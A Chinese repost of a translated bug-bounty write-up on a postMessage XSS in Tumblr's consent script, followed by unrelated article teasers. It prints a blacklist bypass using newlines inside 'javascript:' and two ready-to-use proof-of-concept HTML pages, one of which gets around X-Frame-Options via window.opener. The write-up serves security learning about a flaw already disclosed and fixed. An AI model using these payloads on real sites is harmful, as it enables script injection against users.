postMessageXss续2

   原文地址如下:https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/

   在19年我写了一篇文章,是基于postMessageXss漏洞的入门教学:https://www.cnblogs.com/piaomiaohongchen/p/14727871.html 

   这几天浏览mXss技术的时候,看到了一篇postMessaage的分析文章,觉得不错,遂翻译写成文章,每一次好的文章翻译,都是一次很好的学习的机会。生硬的translate,对技术提升没有任何帮助,这里我以第一视角代入翻译此篇文章,加入自己对漏洞的理解。

   这篇文章的难点在于对source的构造。

   正文内容如下:

   在研究期间,我决定查看 tumblr.com 主页,计划是查看它是否处理任何 postMessages。我发现 cmpStub.min.js 文件中有一个有趣的函数,它不检查 postMessage 的来源。在模糊形式下,它如下所示:

            var e = !1;function t(e) {var t = "string" == typeof e.data, n = e.data;if (t)try {n = JSON.parse(e.data)} catch (e) {}if (n && n.__cmpCall) {var r = n.__cmpCall;window.__cmp(r.command, r.parameter, function(n, o) {var a = {__cmpReturn: {returnValue: n,success: o,callId: r.callId}};e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")})}}

  为了方便理解,把代码丢入webstorm,webstorm会有高亮提醒:

 通过我的截图标记,我们知道这是个套娃行为,他的可控source点的套娃行为如下:

e.data <- n <- n.__cmpCall <- r <- r.command && r.parameter

如果要本地模式这种套娃行为,那么这种source套娃模拟就是如下:

data= '{"name":"admin","list":{"test1":"test12","test2":"test2"},"age":16}'
// data='123'
var n = JSON.parse(data);
console.log(n.list.test1)

 两个逻辑处理分支:

(1)n = JSON.parse(e.data)
(2)window.__cmp(.,.,.xxx

 第一个是使用parse函数把我们监听接收的数据从JSON 字符串转换为 JavaScript 对象,说明我们传递的source是个json字符串

 source套娃点,会传入__cmp(函数,跟进这个函数:

     if (e)return {init: function(e) {if (!l.a.isInitialized())if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},p.uiUrl || p.organizationId)if (c.a.isSafeUrl(p.uiUrl)) {p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),g.setGdpr("S"),g.setPublisherId(p.organizationId)),(t = p.sharedConsentDomain) && r.a.init(t),s.a.setCookieDomain(p.cookieDomain);var n = s.a.getGdprApplies();!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {n || (e = !0),s.a.setIsUserInEU(e),e ? (g.setGdpr("L"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : l.a.initializationComplete()})} elsec.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl).  Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)

代码臭长臭长的,不要管,只要抓住重点 

(1)在javascript中当出现n.x.y或者n.x.y.z说明是套娃+套娃,跟紧咬死source点

(2)寻找潜在风险函数

发现有个if逻辑判断,如果不为真,就else输出报错,那么这里要想办法让条件为真,跟进isSafeUrl函数:

isSafeUrl: function(e) {return -1 === (e = (e || "").replace(" ","")).toLowerCase().indexOf("javascript:")
}

正常我们写代码都是function isSafeUrl(x) 。这是两种不同的写法,效果类似,一种是对象方法定义,一种是直接函数说明。

 这段逻辑代码很好理解:如果输入的字符串中不包含"javascript:",函数返回 true;如果包含,返回 false。 

 这里想返回真,那么我们就不能包含javascript:字符串,他这么做是为了防止xss攻击。做过一些代码审计的朋友应该都知道,使用包含这种黑名单的修复手法,是很危险的,是很容易被绕过的。

 那么这里的包含,为后面的利用留下了伏笔。我们继续往下研究,假设我们不包含javascript:字符串,为真了,会触发下面的逻辑处理代码:

  通过不断的debug进入逻辑处理函数,发现一个可疑逻辑处理函数

 e ? l.a.initializationComplete() : b(l.a.initializationComplete)

  跟进b函数:

         b = function(e) {g.markConsentRenderStartTime();var n = p.uiUrl ? i.a : a.a;l.a.isInitialized() ? l.a.getConsentString(function(t, o) {p.consentString = t,n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})}) : n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})

在这里,将触发真正的sink点:n.renderConsents(p, function(n, t) {,跟进对应函数:

 sink:renderConsents: function(n, p) {if ((t = n || {}).siteDomain = window.location.origin,r = t.uiUrl) {if (p && u.push(p),!document.getElementById("cmp-container-id")) {(i = document.createElement("div")).id = "cmp-container-id",i.style.position = "fixed",i.style.background = "rgba(0,0,0,.5)",i.style.top = 0,i.style.right = 0,i.style.bottom = 0,i.style.left = 0,i.style.zIndex = 1e4,document.body.appendChild(i),(a = document.createElement("iframe")).style.position = "fixed",a.src = r,a.id = "cmp-ui-iframe",a.width = 0,a.height = 0,a.style.display = "block",a.style.border = 0,i.style.zIndex = 10001,l(),

(1)r = t.uiUrl 可控点
(2)a.src = r iframe src加载

  通过阅读代码,很明显看出来这是个xss漏洞,我们可以本地模拟下这段攻击代码:

       <script type="text/javascript">a = document.createElement("iframe");a.src="javascript:alert(1)"; //可控点document.body.appendChild(a);</script>

因为前面的isSafeUrl函数判断,不允许包含javascript:字符串,包含就会报错不走相关sink函数,那么这里就需要利用下js的小tricks:

a = document.createElement("iframe");
a.src="\tjava\nscr\nipt:alert(1)"; //可控点
document.body.appendChild(a);

再次刷新:

在js中,src属性支持换行符,制表符等无害脏数据。这样我们就绕过了这个黑名单过滤函数。

对于最后的sink点位,原作者画出如下图:

这里我们需要学习老外的学习思路,漏洞挖掘中可以多画一些脑图,方便你去理解代码和理解业务逻辑。

最终的构造poc如下:

<html><body><script>
window.setInterval(function(e) {try {window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");} catch(e) {}
}, 100);
</script>
<iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>

难点在于source套娃,容易绕晕。构造的poc,是比较常规的写法。前面已经讲了这个套娃怎么玩了,详见JSON.parse的函数定义。

其实到这里,这篇翻译文章算结束了。下面是扩展项:

只要页面不包含 X-Frame-Options 标题,它就不需要任何额外的用户交互,访问恶意网站就足够了。如果应用程序实现 X-Frame-Options 标头,则此漏洞将不允许攻击者构建目标页面。整个攻击需要在两个浏览器选项卡之间创建连接,以便通过window.opener传递postMessages,这也非常简单:

X-Frame-Options 是什么?

X-Frame-Options 是一个 HTTP 响应头,用于防止点击劫持攻击(clickjacking)。它控制一个网页是否可以在 <iframe> 中被嵌套,增强了安全性。以下是它的主要选项和含义:不允许任何网页在 <iframe> 中嵌套当前页面。
http
复制代码
X-Frame-Options: DENY
SAMEORIGIN:只允许同源的网页在 <iframe> 中嵌套当前页面。也就是说,只有与当前页面相同源的网页可以嵌入。
http
复制代码
X-Frame-Options: SAMEORIGIN

因为postMessage xss漏洞需要加载当前网页地址,通过设置X-Frame-Options可以禁止嵌套网页:

那么对于这种情况,原文作者是如何绕过的?

<html><body>
<script>
function e() {window.setTimeout(function() {window.location.href="https://www.tumblr.com/embed/post/";}, 500);
}
window.setInterval(function(e) {try {window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");} catch(e) {}
}, 100);
</script><a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>

这段代码绕过X-Frame-Options的核心概念如下:

攻击者需要在两个不同的浏览器选项卡之间建立连接。
这种连接允许攻击者在打开目标网站的选项卡中通过 window.opener 对象发送 postMessage 消息。
这种方式绕过了浏览器的安全策略,利用了在 window.opener 上发送消息的能力。
综上所述,理解这段话的关键点是:如果没有正确配置 X-Frame-Options 标头的网页可能会受到攻击,因为其他网站可以在其页面中嵌入目标网页的iframe,从而执行潜在的恶意操作。
正确实现 X-Frame-Options 可以有效防止此类攻击。
攻击者利用两个浏览器选项卡之间的连接,通过 window.opener 发送 postMessage 消息,绕过浏览器的安全机制,执行攻击。
window.opener 将指向打开这个弹出窗口的主窗口
时间线:
07/10/2019 – 发现漏洞并同时向 Verizon Media 和 Tumblr 报告
07/10/2019 – 由 Tumblr 分类和修复
08/10/2019 – 由 Verizon Media 修复
09/10/2019 – Tumblr 奖励我 500 美元的赏金
26/10/2019 – Verizon Media 奖励我 500 美元的赏金

虽然这份报告只有500刀,但是个人学到了很多。好的文章超越了金钱本身。

TRANSLATE with
x
English
ArabicHebrewPolish
BulgarianHindiPortuguese
CatalanHmong DawRomanian
Chinese SimplifiedHungarianRussian
Chinese TraditionalIndonesianSlovak
CzechItalianSlovenian
DanishJapaneseSpanish
DutchKlingonSwedish
EnglishKoreanThai
EstonianLatvianTurkish
FinnishLithuanianUkrainian
FrenchMalayUrdu
GermanMalteseVietnamese
GreekNorwegianWelsh
Haitian CreolePersian 
TRANSLATE with
COPY THE URL BELOW
Back
EMBED THE SNIPPET BELOW IN YOUR SITE
Enable collaborative features and customize widget: Bing Webmaster Portal
Back

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/46361.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

车载音视频App框架设计

简介 统一播放器提供媒体播放一致性的交互和视觉体验&#xff0c;减少各个媒体应用和场景独自开发的重复工作量&#xff0c;实现媒体播放链路的一致性&#xff0c;减少碎片化的Bug。本文面向应用开发者介绍如何快速接入媒体播放器。 主要功能&#xff1a; 新设计的统一播放U…

新版本cesium编译1.103之后的版本

cesium1.1之后的版本文件结构域1.1之前的版本有了很大的差别&#xff0c;源码也全部移到了packages目录中。有很多依赖包没有写在根目录的package.json文件中。npm i 后直接编译会保持。 cesium源码git https://github.com/CesiumGS/cesium 1、添加缺少的包&#xff0c;缺少的…

4. 双端口ram设计

1. 设计要求 设计一个位宽8bit&#xff0c;地址深度为128&#xff0c;可以同时读写的双端口RAM 要求&#xff1a;模块名字为RAM_DUAL 输入端口&#xff1a;ADDR_W&#xff0c;ADDR_R CLK_R&#xff0c;CLK_W&#xff0c;RSTn ADDR_R[6:0]&#xff0c;ADDR_W[6:0] DATA_WR…

学习测试9-接口测试 2-抓包工具Fiddler

Fiddler 抓包工具的使用 怎么找接口信息&#xff0c;可以通过浏览器的开发者工具 Fiddler 是一个 HTTP 协议调试代理工具 File 菜单&#xff1a; Capture Traffic&#xff08;或 F12&#xff09;&#xff1a;是个开关&#xff0c;可以控制是否把 Fiddler 注册为系统代理。当把…

浅谈Open.Json.pickle.Os

一、Open函数使用 open函数是 Python 中用于打开文件的内置函数&#xff0c;它返回一个文件对象&#xff0c;该文件对象提供了对文件进行读写操作的方法。使用 open 函数时&#xff0c;通常需要指定至少两个参数&#xff1a;文件名&#xff08;file&#xff09;和模式&#xf…

【网络工具】Charles 介绍及环境配置

✍个人博客&#xff1a;Pandaconda-CSDN博客 &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/iAmAo &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会整理一些工作或学习中用到的工具介绍给大家~ &#x1f4d8;Charles 系列其它文章&#xff1a;【网络…

Git操纵本地仓库和远程仓库

git是一个代码托管的平台&#xff0c;我们可以对我们的代码进行分支 推送提交 打标签等等操作&#xff0c;而且git使用过程中也是支持一些linux语言的 比如cd呀 touch mkdir啊等等等 git的具体安装过程就不再赘述 我个人认为 好多东西就是 代码也好 文字 文档 也好&…

【C语言】结构体,枚举,联合超详解!!!

目录 结构体 结构体声明 结构体成员的访问 结构体自引用 结构体变量定义&#xff0c;初始化&#xff0c;传参 结构体内存对齐 位段 枚举 联合(共用体) 结构体 结构体声明 1. 概念 1. 结构体是一些值的集合&#xff0c;这些值称为成员变量。 2. 结构体的每个成员可…

长难句打卡7.15

The trend was naturally most obvious in those areas of science based especially on a mathematical or laboratory training, and can be illustrated in terms of the development of geology in the United Kingdom 这一趋势自然在以数学或实验室训练为基础的科学领域里…

Unlink

Unlink 原理 我们在利用 unlink 所造成的漏洞时&#xff0c;其实就是对 chunk 进行内存布局&#xff0c;然后借助 unlink 操作来达成修改指针的效果。简单回顾一下 unlink 的目的与过程&#xff0c;其目的是把一个双向链表中的空闲块拿出来&#xff08;例如 free 时和目前物理…

Leetcode二分搜索法浅析

文章目录 1.二分搜索法1.1什么是二分搜索法&#xff1f;1.2解法思路 1.二分搜索法 题目原文&#xff1a; 给定一个 n 个元素有序的&#xff08;升序&#xff09;整型数组 nums 和一个目标值 target &#xff0c;写一个函数搜索 nums 中的 target&#xff0c;如果目标值存在返…

从PyTorch官方的一篇教程说开去(1 - 初心)

原文在此&#xff0c;喜欢读原汁原味的可以自行去跟&#xff0c;这是一个非常经典和有学习意义的例子&#xff0c;在此向老爷子们致敬 - https://pytorch.org/tutorials/intermediate/reinforcement_q_learning.html 开源文化好是好&#xff0c;但是“公地的悲哀”这点避不开…

高效运维:构建全面监控与自动化管理体系

在当今的数字化时代&#xff0c;运维管理已成为企业IT架构中不可或缺的一环。它不仅关乎系统的稳定运行&#xff0c;更直接影响到业务的响应速度、故障处理时间以及客户满意度等多个方面。因此&#xff0c;构建一套全面监控与自动化管理体系&#xff0c;对于提升企业运维效率、…

无人机之多旋翼与固定翼的区别

多旋翼无人机和固定翼无人机是无人机技术中的两种主要形式&#xff0c;各自有独特的优势和应用场景。 一、飞行原理与结构 多旋翼无人机&#xff1a;依靠多个旋翼产生升力来平衡飞行器的重力&#xff0c;通过改变每个旋翼的转速控制飞行器的姿态和平稳&#xff0c;使其能够垂…

PDF文件无法编辑?3步快速移除PDF编辑限制

正常来说,我们通过编辑器打开pdf文件后,就可以进行编辑了&#xff61;如果遇到了打开pdf却不能编辑的情况,那有可能是因为密码或是扫描件的原因&#xff61;小编整理了一些pdf文件无法编辑&#xff0c;以及pdf文件无法编辑时我们要如何处理的方法&#xff61;下面就随小编一起来…

[word] word如何编写公式? #微信#知识分享

word如何编写公式&#xff1f; word如何编写公式&#xff1f;Word中数学公式是经常会使用到的&#xff0c;若是要在文档中录入一些复杂的公式&#xff0c;要怎么做呢&#xff1f;接下来小编就来给大家讲一讲具体操作&#xff0c;一起看过来吧&#xff01; 方法一&#xff1a;…

stm32学习:(寄存器3)系统架构

时钟系统 时钟树 在STM32中有3种不同的时钟源用来驱动系统时钟(SYSCLK)&#xff1a; HSI振荡器时钟&#xff08;High Speed Internal oscillator&#xff0c;高速内部时钟&#xff09;HSE振荡器时钟&#xff08;High Speed External&#xff08;Oscillator / Clock&#xff…

Ruby爬虫技术:深度解析Zhihu网页结构

在互联网时代&#xff0c;数据的价值日益凸显&#xff0c;尤其是在社交媒体和问答平台如Zhihu&#xff08;知乎&#xff09;上&#xff0c;用户生成的内容蕴含着丰富的信息和洞察。本文将深入探讨如何使用Ruby爬虫技术来解析Zhihu的网页结构&#xff0c;并获取有价值的数据。 …

啊?原来你也看环法赛!—VELO Angel Glide坐垫,与你共攀环法荣耀之路!

当七月的热浪席卷赛道&#xff0c;环法自行车赛&#xff08;Tour de France&#xff09;的战鼓再次响起&#xff0c;挑战与梦想交织的火花在每一寸赛道上绽放。自1903年首届赛事以来&#xff0c;环法已成为全球最具声望的自行车赛事&#xff0c;吸引着无数顶尖骑手和观众的目光…

c语言程序环境和预处理

test.c(源文件) --> 编译器 --> test.obj(目标文件,在debug里) 链接库和多个目标文件 经过 链接器的处理&#xff0c;最终生成可执行程序.exe 编译阶段 预处理/预编译阶段 &#xff1a;1.头文件的包含 2.define定义符号的替换&#xff0c;并删除定义的符号 3.删除注释 这…